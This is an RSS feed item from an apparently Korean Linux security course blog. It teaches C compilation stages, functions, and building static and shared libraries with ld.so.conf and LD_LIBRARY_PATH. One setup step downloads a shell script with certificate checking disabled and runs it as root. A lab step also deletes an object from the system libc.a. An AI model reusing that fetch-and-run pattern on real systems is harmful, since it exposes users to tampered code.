1107 };
1108 #endif</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[시스템 보안 운영 - 2 (교육 83일차)]]></title>
            <link>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-83%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-83%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Thu, 23 Mar 2023 13:56:13 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; 컴파일 과정 알아보기</strong></p>
</blockquote>
<pre><code>참고 : https://cafe.naver.com/linuxmasternet/122

사람                                                            컴퓨터
       전처리기(gcc)     컴파일러(cc1)  어셈블러(as)   링커(ld)
          gcc -E         gcc -S         gcc -c          gcc -o   
myprogram.c  -&gt; myprogram.i -&gt; myprogram.s -&gt; myprogram.o -&gt; myprogram
 소스파일       전처리파일    어셈블리파일     목적 파일     실행파일
          ---------------------------------------------------------&gt;
                           컴파일 과정 (개발자)                       
                                   &lt;--------------------------------
                                         디스어셈블(정보보안 전문가, 리버서)   
          &lt;---------------------------------------------------------
                          디컴파일 과정(정보보안 전문가, 리버서)   

리버싱은 실행파일을 분석하는 과정으로 주로 악성코드 분석 분야에 필수로 사용된다.

# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# yum -y install vim


cat &lt;&lt; EOF &gt;&gt; /etc/vimrc

set nu
set ai
set ci
set bg=dark
set cursorline
set expandtab
set ts=4
EOF

alias vi=vim
cat &lt;&lt; EOF &gt;&gt; ~/.bashrc
alias vi=vim
EOF


# cat &lt;&lt; EOF &gt; myprogram.c
/*
 * 파일명: myprogram.c
 * 프로그램 설명: 컴파일 과정 분석하기
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#define TODAY &quot;Linux Security&quot;

int main()
{
    printf(&quot;%s: 컴파일 과정 분석하기\n&quot;, TODAY);
    return 0;
}
EOF

전처리기에 의해서 소스 파일을 전처리 파일로 생성한다.
# gcc -E myprogram.c -o myprogram.i
# cat myprogram.i

전처리 파일을 어셈블러가 어셈블리 파일로 생성한다.
# gcc -S myprogram.i -o myprogram.s  &lt;-- 64bit at&amp;t 문법
# gcc -masm=intel -S myprogram.i -o myprogram.s  &lt;-- 64bit intel 문법

# gcc -m32 -S myprogram.i -o myprogram.s  &lt;-- 32bit at&amp;t 문법
# gcc -m32 -masm=intel -S myprogram.i -o myprogram.s  &lt;-- 32bit intel 문법


어셈블리 파일을 오브젝트 파일로 생성한다.
# gcc -c myprogram.s  &lt;-- 64bit
# gcc -m32 -c myprogram.s  &lt;-- 32bit

오브젝트 파일을 링커가 printf.o와 결합시켜서 최종 실행파일로 생성한다.
myprogram.o + pintf.o

동적 컴파일 (Default)
# gcc myprogram.o -o myprogramDynamic  &lt;-- 64bit
# gcc -m32 myprogram.o -o myprogramDynamic  &lt;-- 32bit
# ls -l myprogramDynamic
-rwxr-xr-x. 1 root root   8360  3월  4 08:24 myprogramDynamic
# ./myprogramDynamic
Linux Security: 컴파일 과정 분석하기
# ldd myprogramDynamic
    linux-vdso.so.1 =&gt;  (0x00007ffd16978000)
    libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f51836eb000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5183ab9000)

정적 컴파일
정적 컴파일을 하기 위해서는 -static 옵션을 사용한다.
64bit로 정적 컴파일을 하기 위해서는 glibc-static 패키지가 필요하다.
32bit로 정적 컴파일을 하기 위해서는 glibc-static.686 패키지가 필요하다. 
# gcc -static myprogram.o -o myprogramStatic  &lt;-- 64bit
# gcc -m32 -static myprogram.o -o myprogramStatic  &lt;-- 32bit
# ls -l myprogramStatic 
-rwxr-xr-x. 1 root root 861216  3월  4 08:23 myprogramStatic
# ./myprogramStatic
Linux Security: 컴파일 과정 분석하기
# ldd myprogramStatic
    동적 실행 파일이 아닙니다

동적 컴파일 VS 정적 컴파일
- 파일의 크기를 비교해보면 정적으로 컴파일하면 실행파일 안에 printf.o가 들어있으므로 파일이 용량이 크다.
# ll myprogramDynamic myprogramStatic 
-rwxr-xr-x. 1 root root   7220  3월 22 17:29 myprogramDynamic
-rwxr-xr-x. 1 root root 773980  3월 22 17:33 myprogramStatic

32bit C 라이브러리에서 printf.o를 확인(t)한다.
# ar t /usr/lib/libc.a printf.o
printf.o

32bit C 라이브러리에서 printf.o를 삭제(d)한다.
# ar d /usr/lib/libc.a printf.o 

32bit C 라이브러리에서 printf.o를 확인(t)하면 삭제했으므로 에러가 발생된다.
# ar t /usr/lib/libc.a printf.o
no entry printf.o in archive

실행파일 myprogramStatic 를 뽑아내기 위해서는 myprogram.o + printf.o 가 필요한데
printf.o 가 없기 때문에 에러가 발생되서 최종적으로 실행파일을 뽑을 수가 없다.
# gcc -m32 -static myprogram.o -o myprogramStatic 
myprogram.o: In function `main&#39;:
myprogram.c:(.text+0x19): undefined reference to `printf&#39;
collect2: error: ld returned 1 exit status

32bit C 라이브러리를 재설치하고 다시 printf.o를 확인한다.
# yum -y reinstall glibc-static.i686
# ar t /usr/lib/libc.a printf.o
printf.o  &lt;-- 정상적으로 패키지가 설치되었기 때문에 printf.o 가 들어있다.

32bit C 라이브러리에서 printf.o Object 파일을 추출한다.
형식: ar x 정적라이브러명 오브젝트명
# gcc -m32 -static myprogram.o -o myprogramStatic 
# ar x /usr/lib/libc.a printf.o 
# ls
anaconda-ks.cfg  libc.a       myprogram.o       myprogramStatic
file.tar.gz      myprogram.c  myprogram.s       printf.o  &lt;-- 추출된 printf.o 
gccInstall.sh    myprogram.i  myprogramDynamic

32bit C 라이브러리에서 printf.o Object 파일을 삭제한다.
# ar d /usr/lib/libc.a printf.o 
# ar t /usr/lib/libc.a printf.o 
no entry printf.o in archive

/usr/lib/libc.a 라이브러리의 printf.o 를 참고하는데 지웠기 때문에 에러가 발생된 것이다.
# gcc -m32 -static myprogram.o -o myprogramStatic2 
myprogram.o: In function `main&#39;:
myprogram.c:(.text+0x19): undefined reference to `printf&#39;
collect2: error: ld returned 1 exit status

현재 디렉터리에 추출한 printf.o를 같이 컴파일을 하면 실행파일을 생성할 수 있다.
# gcc -m32 -static myprogram.o printf.o -o myprogramStatic2 
# ll myprogramStatic2
-rwxr-xr-x. 1 root root 773980  3월 22 19:55 myprogramStatic2

# file myprogramStatic2
myprogramStatic2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=918cf21de02d39133d69dc22843777e61cc3c5dc, not stripped

# ./myprogramStatic2
Linux Security: 컴파일 과정 분석하기
</code></pre><blockquote>
<p><strong>실습&gt; 함수에 대한 이해</strong></p>
</blockquote>
<pre><code>함수란 1개 이상의 실행문을 하나로 묶은 것이며 프로그램에서 재사용 하기 위해서 만든다.
함수는 코드의 중복을 제거하고 다시 사용하는 재사용성의 의미를 가지고 있다.

함수 종류
라이브러리 함수: 파이썬을 설치하면 제공되는 함수 (print, input)
패키지 함수: 추가적인 패키지를 설치하면 제공되는 함수
사용자 정의 함수: 사용자가 직접 만들어서 사용하는 함수


입력값은 함수를 호출할 때 함수에 전달하는 값을 말한다.
입력값 : 인수, 인자, 아규먼트, 파라미터, 매개변수

출력값은 함수가 종료하면 호출된 쪽으로 값을 전달하는 것을 말한다.
출력값 : 리턴값

인수, 인자, argument :
- 함수로 전달되는 값을 말한다.
- 함수 호출 부분에 있다. e.g.) max(1,2), printf(&quot;Hello&quot;)

매개변수, parameter : 
- 함수 내부에서 함수로 전달된 값을 저장한 변수를 말한다. 
- 함수 정의 부분에 있다.
e.g.)
int max(i, j)
{
    :
    :
}

함수의 종료 시점
- 함수안에 실행문들이 끝난 경우
- 함수에서 리턴문을 만난 경우

함수는 선언, 정의, 호출이 있고 함수 선언, 함수 정의, 함수 호출이 나중에 나온다.
함수 호출이 먼저 나오고 함수 정의가 뒤에 오면 에러가 발생된다.


1. 함수 선언
컴파일러에게 함수가 있다는걸 알려준다.
#include &lt;stdio.h&gt;
extern int printf (const char *__restrict __format, ...);

2. 함수 정의 
함수를 만든다.
리턴값 함수명(매개변수)
{
    실행문
}

리턴값: void, int, float, char *, struct student ...

함수명: myfunction
매개변수: 없음
리턴값: 없음
함수 기능: 환영 메세지 출력

void myfunction()
{
    printf(&quot;Hello function!\n&quot;);
}

3. 함수 호출 
만들어진 함수를 실행한다.
myfunction();   


-- exFunction1.c --
/*
 * 파일명: exFunction1.c
 * 프로그램 설명: 함수 
 * 작성자: 리눅스마스터넷
 *
 * 32bit 동적 컴파일: gcc -Wall -m32 소스파일 -o 실행파일
 * 32bit 정적 컴파일: gcc -Wall -static -m32 소스파일 -o 실행파일
 * 64bit 동적 컴파일: gcc -Wall 소스파일 -o 실행파일
 * 64bit 정적 컴파일: gcc -Wall -static 소스파일 -o 실행파일
 */

#include &lt;stdio.h&gt;

void myfunction();  // 함수 선언

int main()
{
    myfunction();  // 함수 호출
    return 0;
}

void myfunction()  // 함수 정의
{
    printf(&quot;Hello function!\n&quot;);
}
-- exFunction1.c --

32bit 동적 컴파일(동적 링킹)을 이용해서 exFunction1-1 실행파일을 생성한다.
# gcc -Wall -m32 exFunction1.c -o exFunction1-1
# ldd exFunction1-1
        linux-gate.so.1 =&gt;  (0xf777b000)
        libc.so.6 =&gt; /lib/libc.so.6 (0xf75a9000)  &lt;-- 메모리 주소가 32bit(4byte)
        /lib/ld-linux.so.2 (0xf777c000)
# ./exFunction1-1
Hello function!

32bit 정적 컴파일을 이용해서 exFunction1-2 실행파일을 생성한다.
# gcc -Wall -static -m32 exFunction1.c -o exFunction1-2
# ldd exFunction1-2
        동적 실행 파일이 아닙니다
# ./exFunction1-2
Hello function!

64bit 동적 컴파일(동적 링킹)을 이용해서 exFunction1-3 실행파일을 생성한다.
# gcc -Wall exFunction1.c -o exFunction1-3
# ldd exFunction1-3
        linux-vdso.so.1 =&gt;  (0x00007ffe7e941000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fc809f94000)  &lt;-- 메모리 주소가 64bit(8byte)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc80a362000)
# ./exFunction1-3
Hello function!

64bit 정적 컴파일을 이용해서 exFunction1-4 실행파일을 생성한다.
# gcc -Wall -static exFunction1.c -o exFunction1-4
# ldd exFunction1-4
        동적 실행 파일이 아닙니다
# ./exFunction1-4
Hello function!

# file exFunction1-[1-4]
exFunction1-1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=56bf5d942dcf701013c2234cfd7f2e4e073ed625, not stripped
exFunction1-2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=1a81cb2d0f2cdf22c22ca3228c8a35de0b88aed2, not stripped
exFunction1-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=c079d09294ce1ec362e0aa3fef719415ba19e972, not stripped
exFunction1-4: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=1fcb1963d061263c8cfc9cbef1eb86aa9da31a43, not stripped

-- exFunction2.c --
/*
 * 파일명: exFunction2.c
 * 프로그램 설명: 함수 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 함수를 사용한 경우
 * function 함수 정의
 * 함수명 : function
 * 매개변수 : 없음
 * 리턴값 : 없음
 * 함수 기능 : i 변수에 1을 저장하고 출력한다.
 */

void function();  // 함수 선언

int main()
{
    function();  // 함수 호출
    return 0;
}

// 함수 정의
void function()
{
    int i = 1;
    printf(&quot;%d\n&quot;, i);
}
-- exFunction2.c --

# gcc -Wall  exFunction2.c -o exFunction2
# ./exFunction2
1


-- exFunction3.c --
/*
 * 파일명: exFunction3.c
 * 프로그램 설명: 4가지 유형의 첫 번째 함수 만들기 예제 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int f1(int x);

int main()
{
    int number;
    number = f1(3);
    printf(&quot;%d\n&quot;, number);

    return 0;
}

/*
 * 첫 번째 유형의 함수
 * 첫 번째 유형의 함수명 : f1
 * 매개변수 : 1개 있음
 * - 매개변수명 : x
 * 리턴값   : 있음
 * - 리턴값 : y
 * 기능 : 매개변수에 5를 더해서 호출한 쪽으로 돌려준다.
 */
int f1(int x)
{
    int y;
    y = x + 5;
    return y;
}
-- exFunction3.c --

# gcc -Wall -o exFunction3  exFunction3.c
# ./exFunction3
8

-- exFunction4.c --
/*
 * 파일명: exFunction4.c
 * 프로그램 설명: 4가지 유형의 두 번째 함수 만들기 예제 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void f2();

int main()
{
    f2();
    return 0;
}

/*
 * 두 번째 유형의 함수
 * 두 번째 유형의 함수명 : f2
 * 매개변수 : 없음
 * 리턴값   : 없음
 * 기능 : 화면에 8을 출력한다.
 */
void f2()
{
    printf(&quot;8\n&quot;);
}
-- exFunction4.c --

# gcc -Wall exFunction4.c -o exFunction4
# ./exFunction4
8

-- exFunction5.c --
/*
 * 파일명: exFunction5.c
 * 프로그램 설명: 4가지 유형의 세 번째 함수 만들기 예제 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void f3(int x);

int main()
{
    f3(3);   // 8
    f3(10);  // 15

    return 0;
}

/*
 * 세 번째 유형의 함수
 * 세 번째 유형의 함수명 : f3
 * 매개변수 : 1개 있음
 * - 매개변수명 : x
 * 리턴값   : 없음
 * 기능 : 매개변수에 5를 더해서 화면에 y를 출력한다.
 */
void f3(int x)
{
    int y;
    y = x + 5;
    printf(&quot;%d\n&quot;, y);
}
-- exFunction5.c --

# gcc -Wall -o exFunction5 exFunction5.c
# ./exFunction5
8

-- exFunction6.c --
/*
 * 파일명: exFunction6.c
 * 프로그램 설명: 4가지 유형의 네 번째 함수 만들기 예제 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

int f4();

int main()
{
    int retValue;

    retValue = f4();
    printf(&quot;%d\n&quot;, retValue);  // 8
    printf(&quot;%d\n&quot;, f4());      // 8

    return 0;
}

/*
 * 네 번째 유형의 함수
 * 네 번째 유형의 함수명 : f4
 * 매개변수 : 없음
 * 리턴값   : 있음
 * - 리턴값 : y
 * 기능 : y에 8을 저장한 후 y를 호출한 쪽으로 돌려준다.
 */
int f4()
{
    int y;
    y = 3 + 5;
    return y;
}
-- exFunction6.c --

# gcc -Wall exFunction6.c -o exFunction6
# ./exFunction6
8
8
</code></pre><blockquote>
<p><strong>실습&gt; 정적 라이브러리 만들기</strong></p>
</blockquote>
<pre><code># mkdir library1_static
# cd library1_static

# vi a.c
#include &lt;stdio.h&gt;

void a()
{
    printf(&quot;a() \n&quot;);
}


# vi main.c
#include &lt;stdio.h&gt;

void a();

int main()
{
    a();
    printf(&quot;main() \n&quot;);

    return 0;
}

# gcc -Wall -c a.c
# gcc -Wall -c main.c
# gcc -o main main.o a.o
# ./main
a()
main()

# ll
합계 16
-rw-r--r--. 1 root root   56  3월 22 22:05 a.c
-rw-r--r--. 1 root root 1480  3월 22 22:10 a.o
-rw-r--r--. 1 root root   96  3월 22 22:08 main.c
-rw-r--r--. 1 root root 1552  3월 22 22:10 main.o


# vi b.c
#include &lt;stdio.h&gt;

void b()
{
    printf(&quot;b()\n&quot;);
}

# vi c.c
#include &lt;stdio.h&gt;

void c()
{
    printf(&quot;c()\n&quot;);
}


# vi main2.c
#include &lt;stdio.h&gt;

void a();
void b();
void c();

int main()
{
    a();
    b();
    c();
    printf(&quot;main() \n&quot;);

    return 0;
}


# gcc -c b.c c.c main2.c

Object 파일을 생성해서 main2.o 파일과 결합해서 실행파일 main2-1을 생성한다.
- main2.o + a.o + b.o = c.o
# gcc -o main2-1 main2.o a.o b.o c.o
# ./main2-1
a()
b()
c()

Object 파일을 라이브러리 libmyfunction.a 로 생성한다.
# ar rcs libmyfunction.a a.o b.o c.o
# ar t libmyfunction.a
a.o
b.o
c.o

Object 파일을 main2.c 파일과 결합해서 실행파일 main2-2를 생성한다.
- libmyfunction.a (a.o, b.o, c.o)
# gcc -o main2-2 main2.c libmyfunction.a
# ./main2-2
a()
b()
c()
main()

컴파일 에러
- a.o, b.o, c.o 가 없기 때문이다.
# gcc -o main2-3 main2.c  

컴파일 에러
- 라이브러리 디렉터리를 지정해주지 않았기 때문이다.
# gcc -o main2-3 main2.c -lmyfunction

동적으로 컴파일한다.
-L. 라이브러리가 현재 디렉터리에 있으므로 이 디렉터리를 반드시 명시해야 한다.
- -L 옵션이 없으면 /usr/lib, /usr/lib64 디렉터리에서 라이브러리를 찾는다.
# gcc -o main2-3 main2.c -lmyfunction -L.
# ./main2-3
a()
b()
c()
main()

정적으로 컴파일한다.
# gcc -static -o main2-4 main2.c -lmyfunction -L.

# ldd main2-3
        linux-vdso.so.1 =&gt;  (0x00007ffe39e78000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fc73ecbb000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc73f089000)

# ldd main2-4
        동적 실행 파일이 아닙니다

# ./main2-3
a()
b()
c()
main()

# ./main2-4
a()
b()
c()
main()
</code></pre><blockquote>
<p><strong>실습&gt; 정적 라이브러리 만들기</strong></p>
</blockquote>
<pre><code>정적 라이브러리명: libmylibrary.a
오브젝트: f1.o, f2.o f3.o f4.o

1. 소스코드 생성
-- f1.c --
/*
 * 파일명: f1.c
 * 프로그램 설명: 4가지 유형의 첫 번째 함수 만들기 예제 
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 첫 번째 유형의 함수
 * 첫 번째 유형의 함수명 : f1
 * 매개변수 : 1개 있음
 * - 매개변수명 : x
 * 리턴값   : 있음
 * - 리턴값 : y
 * 기능 : 매개변수에 5를 더해서 호출한 쪽으로 돌려준다.
 */
int f1(int x)
{
    int y;
    y = x + 5;
    return y;
}
-- f1.c --

-- f2.c --
/*
 * 파일명: f2.c
 * 프로그램 설명: 4가지 유형의 두 번째 함수 만들기 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 두 번째 유형의 함수
 * 두 번째 유형의 함수명 : f2
 * 매개변수 : 없음
 * 리턴값   : 없음
 * - 리턴값 : None을 리턴한다.
 * 기능 : 화면에 8을 출력한다.
 */
void f2()
{
    printf(&quot;8\n&quot;);
}
-- f2.c --

-- f3.c --
/*
 * 파일명: f3.c
 * 프로그램 설명: 4가지 유형의 세 번째 함수 만들기 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 세 번째 유형의 함수
 * 세 번째 유형의 함수명 : f3
 * 매개변수 : 1개 있음
 * - 매개변수명 : x
 * 리턴값   : 없음
 * 기능 : 매개변수에 5를 더해서 화면에 y를 출력한다.
 */
void f3(int x)
{
    int y;
    y = x + 5;
    printf(&quot;%d\n&quot;, y);
}
-- f3.c --

-- f4.c --
/*
 * 파일명: f4.c
 * 프로그램 설명: 4가지 유형의 네 번째 함수 만들기 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

/*
 * 네 번째 유형의 함수
 * 네 번째 유형의 함수명 : f4
 * 매개변수 : 없음
 * 리턴값   : 있음
 * - 리턴값 : y
 * 기능 : y에 8을 저장한 후 y를 호출한 쪽으로 돌려준다.
 */
int f4()
{
    int y;
    y = 3 + 5;
    return y;
}
-- f4.c --

2. 헤더파일 생성
# vi myheader.h
/*
 * 파일명: myheader.h
 * 프로그램 설명: 함수 선언용 헤더파일
 * 작성자: 리눅스마스터넷
 */
int f1(int x);
void f2();
void f3(int x);
int f4();

3. main 소스 생성
# vi functionTest.c
/*
 * 파일명: functionTest.c
 * 프로그램 설명: 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;
#include &quot;myheader.h&quot;  // 함수 선언
/*
 * int f1(int x);
 * void f2();
 * void f3(int x);
 * int f4();
 */

int main()
{
    int a, b;

    a = f1(3);
    f2();
    f3(3);
    b = f4();

    printf(&quot;a = %d, b = %d\n&quot;, a, b);

    return 0;
}

4. 라이브러리 생성
64bit 용 정적 라이브러리 libmylibrary.a 를 생성한다.
# gcc -Wall -c f1.c f2.c f3.c f4.c
# ar rcs libksw.a f1.o f2.o f3.o f4.o
# ar t libksw.a
f1.o
f2.o
f3.o
f4.o

5. 컴파일 및 실행
libksw.a 파일을 이용해서 동적으로 컴파일(동적 링킹)한다.
# gcc -o functionTest1 functionTest.c libksw.a
# ll functionTest
-rwxr-xr-x. 1 root root   8640  3월 23 00:42 functionTest
# ldd functionTest1 
functionTest1:
        linux-vdso.so.1 =&gt;  (0x00007fff97db9000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fad4b242000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fad4b610000)

# ./functionTest1
8
8
a = 8, b = 8

libksw.a 파일을 이용해서 정적으로 컴파일(정적 링킹)한다.
# gcc -static -o functionTest2 functionTest.c -lksw -L.
# ll functionTest2
-rwxr-xr-x. 1 root root 861616  3월 23 00:42 functionTest2

# ldd functionTest2
functionTest2:
        동적 실행 파일이 아닙니다

# ./functionTest2
8
8
a = 8, b = 8
</code></pre><blockquote>
<p><strong>실습&gt; 공유 라이브러리</strong></p>
</blockquote>
<pre><code>공유 라이브러리란?
프로그램이 시작할 때 적재되는 라이브러리로써 정적 라이브러리의 단점을 보완해서 나온 라이브러리이다.

참고:
https://en.wikipedia.org/wiki/Position-independent_code


공유 라이브러리명
- library&#39;s realname  : libmyfunction.so.1.0.0
- library&#39;s soname    : libmyfunction.so.1
- library&#39;s linkername: libname.so

오브젝트: a.o, b.o, c.o


1. 소스코드 작성

# mkdir library2_shared; cd library2_shared

-- a.c --
/*
 * 파일명: a.c
 * 프로그램 설명: 공유 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */
#include &lt;stdio.h&gt;

void a()
{
    printf(&quot;a() \n&quot;);
}
-- a.c --

-- b.c --
/*
 * 파일명: b.c
 * 프로그램 설명: 공유 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */
#include &lt;stdio.h&gt;

void b()
{
    printf(&quot;b()\n&quot;);
}
-- b.c --

-- c.c -- 
/*
 * 파일명: c.c
 * 프로그램 설명: 공유 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */
#include &lt;stdio.h&gt;

void c()
{
    printf(&quot;c()\n&quot;);
}
-- c.c -- 

-- main.c --
/*
 * 파일명: main.c
 * 프로그램 설명: 공유 라이브러리와 컴파일 테스트
 * 작성자: 리눅스마스터넷
 */
#include &lt;stdio.h&gt;

void a();
void b();
void c();

int main()
{
    a();
    b();
    c();
    printf(&quot;main() \n&quot;);

    return 0;
}
-- main.c --


2. 공유 라이브러리로 컴파일 하기
-fPIC 옵션을 줘야하고 PCI는(Postion Independent Code)의 약자이고 이 옵션을 주고 컴파일 한다.
참고로 공유 라이브러리는 -fPIC 옵션이 없으면 에러가 발생되므로 반드시 -fPIC 옵션을 사용한다.
library&#39;s realname  : libmyfunction.so.1.0.0
library&#39;s soname    : libmyfunction.so.1
library&#39;s linkername: libname.so
# gcc -fPIC -c a.c b.c c.c
# gcc -shared -Wl,-soname,libmyfunction.so.1 -o libmyfunction.so.1.0.0 a.o b.o c.o
# ln -s libmyfunction.so.1.0.0 libmyfunction.so.1
# ln -s libmyfunction.so.1.0.0 libmyfunction.so

# ll
합계 36
-rw-r--r--. 1 root root   56  3월 23 01:05 a.c
-rw-r--r--. 1 root root 1528  3월 23 01:18 a.o
-rw-r--r--. 1 root root   55  3월 23 01:05 b.c
-rw-r--r--. 1 root root 1528  3월 23 01:18 b.o
-rw-r--r--. 1 root root   55  3월 23 01:05 c.c
-rw-r--r--. 1 root root 1520  3월 23 01:18 c.o
lrwxrwxrwx. 1 root root   22  3월 23 01:19 libmyfunction.so -&gt; libmyfunction.so.1.0.0
lrwxrwxrwx. 1 root root   22  3월 23 01:19 libmyfunction.so.1 -&gt; libmyfunction.so.1.0.0
-rwxr-xr-x. 1 root root 8128  3월 23 01:18 libmyfunction.so.1.0.0
-rw-r--r--. 1 root root  134  3월 23 01:08 main.c


# gcc -o main main.c -lmyfunction -L.
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffce73f8000)
        libmyfunction.so.1 =&gt; not found
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f5a28053000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5a28421000)

공유라이브러리를 등록하지 않으면 현재 디렉터리의 공유라이브러를 인식할 수 없으므로 
./main을 실행하면 라이브러리 에러가 발생한다.
# ./main
./main: error while loading shared libraries: libmyfunction.so.1: cannot open shared object file: No such file or directory


공유라이브러리를 이용해서 컴파일 한 실행파일은 반드시 공유 라이브러의 위치를 알려줘야 한다. 
3가지 방법으로 라이브러리를 인식시켜야 한다.
첫 번째: 시스템의 라이브러리 디렉토리에 공유 라이브러가 존재하면 인식된다. 
- root 사용 가능, 일반 유저 사용 불가능 (허가권에 w가 없다.)
- /usr/lib, /usr/lib64
dr-xr-xr-x. 32 root root  8192  3월 22 23:49 /usr/lib
dr-xr-xr-x. 38 root root 20480  3월 23 01:38 /usr/lib64
파일: rw 권한은 root는 제약을 받지 않는다. 
----------. 1 root root /etc/shadow  &lt;-- 일반 파일에 읽기와 쓰기 권한이 없어도 root는 읽고 쓸 수 있음.

파일: x 권한 제약을 받는다. 
----------. 1 root root /bin/mv  &lt;-- 실행파일에 실행권한이 없으면 root라도 실행할 수 없음.

디렉터리: rwx 권한은 root는 제약을 받지 않는다. 
d---------. 5 root root /root &lt;-- 디렉터리에 rwx 권한이 없어도 root는 읽고, 쓰고, 실행할 수 있음


&gt;&gt;&gt; 첫 번째 실습 &lt;&lt;&lt;
# mv libmyfunction.so* /usr/lib64/
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffdd3b95000)
        libmyfunction.so.1 =&gt; /lib64/libmyfunction.so.1 (0x00007fb6e861a000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007fb6e824c000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb6e881c000)
# ./main
a()
b()
c()
main()

두 번째: 시스템의 라이브러리 디렉터리 이외에 저장하고자 한다면 /etc/ld.so.conf 파일에 공유 라이브러리 디렉토리 
경로를 추가하고 ldconfig 명령어를 실행해야 한다.
- root 사용 가능, 일반 유저 사용 불가능 (허가권에 w가 없다.)
-rw-r--r--. 1 root root 28  2월 28  2013 /etc/ld.so.conf

&gt;&gt;&gt; 두 번째 실습 &lt;&lt;&lt;
# pwd
/root/library2_shared
# mv /usr/lib64/libmyfunction.so* .
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffe42df2000)
        libmyfunction.so.1 =&gt; not found
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f2ac4b2e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2ac4efc000)

# vi /etc/ld.so.conf.d/myfunction-x86_64.conf
/root/library2_shared

# file /etc/ld.so.cache
/etc/ld.so.cache: data
# strings /etc/ld.so.cache | grep library2_shared
  &lt;-- /root/library2_shared 가 없다.

ldconfig 명령어를 실행하면 /etc/ld.so.conf.d/myfunction-x86_64.conf 파일의 내용을 읽어서 /etc/ld.so.cache 에 저장한다.
# ldconfig
# strings /etc/ld.so.cache | grep library2_shared
/root/library2_shared/libmyfunction.so.1  &lt;-- /root/library2_shared 
/root/library2_shared/libmyfunction.so    &lt;-- /root/library2_shared 
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffd25936000)
        libmyfunction.so.1 =&gt; /root/library2_shared/libmyfunction.so.1 (0x00007f9222455000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f9222087000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f9222657000)
# ./main
a()
b()
c()
main()

세 번째: LD_LIBRARY_PATH 환경변수에 공유 라이브러리의 디렉토리를 설정한다. 
변수를 설정하고 export 명령어를 실행한다. 
ld_library_path 취약점을 구글에서 검색하면 많은 정보가 나온다.
- root 사용 가능, 일반 유저 사용 가능

&gt;&gt;&gt; 세 번째 실습 &lt;&lt;&lt;
# rm -f /etc/ld.so.conf.d/myfunction-x86_64.conf
# ldconfig
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffc27cc9000)
        libmyfunction.so.1 =&gt; not found
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f8f18863000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f8f18c31000)

/usr/lib, /usr/lib64 디렉터리 이외의 디렉터리에 라이브러리가 있으면 환경변수 LD_LIBRARY_PATH에 디렉터리를 등록하고
실행파일을 실행한다.
# export LD_LIBRARY_PATH=.
# echo $LD_LIBRARY_PATH
.
# ldd main
        linux-vdso.so.1 =&gt;  (0x00007ffe611fa000)
        libmyfunction.so.1 =&gt; ./libmyfunction.so.1 (0x00007f1a8f540000)
        libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f1a8f172000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f1a8f742000)

# ./main
a()
b()
c()
main()
</code></pre><blockquote>
<p><strong>실습&gt; 동적 라이브러리</strong></p>
</blockquote>
<pre><code>동적 적재 라이브러리란?
